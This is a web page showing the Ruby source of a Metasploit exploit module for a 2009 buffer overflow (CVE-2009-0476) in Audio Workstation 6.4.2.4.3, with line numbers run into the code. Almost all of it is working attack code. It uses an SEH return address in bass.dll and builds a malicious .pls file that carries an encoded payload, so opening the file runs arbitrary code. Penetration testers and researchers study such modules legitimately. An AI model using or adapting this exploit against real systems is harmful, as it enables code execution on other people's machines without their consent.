Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/audio_wkstn_pls.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.16When opening a malicious pls file with the Audio Workstation,17a remote attacker could overflow a buffer and execute18arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => [ 'germaya_x', 'dookie', ],22'References' =>23[24[ 'CVE', '2009-0476' ],25[ 'OSVDB', '55424' ],26[ 'EDB', '10353' ],27],28'DefaultOptions' =>29{30'EXITFUNC' => 'seh',31'DisablePayloadHandler' => true,32'AllowWin32SEH' => true33},34'Payload' =>35{36'Space' => 4100,37'BadChars' => "\x00",38'StackAdjustment' => -3500,39'EncoderType' => Msf::Encoder::Type::AlphanumUpper,40'DisableNops' => 'True',41},42'Platform' => 'win',43'Targets' =>44[45[ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll46],47'Privileged' => false,48'DisclosureDate' => '2009-12-08',49'DefaultTarget' => 0))5051register_options(52[53OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),54])5556end5758def exploit5960sploit = rand_text_alpha_upper(1308)61sploit << "\xeb\x16\x90\x90"62sploit << [target.ret].pack('V')63sploit << make_nops(32)64sploit << payload.encoded65sploit << rand_text_alpha_upper(4652 - payload.encoded.length)6667print_status("Creating '#{datastore['FILENAME']}' file ...")68file_create(sploit)6970end71end727374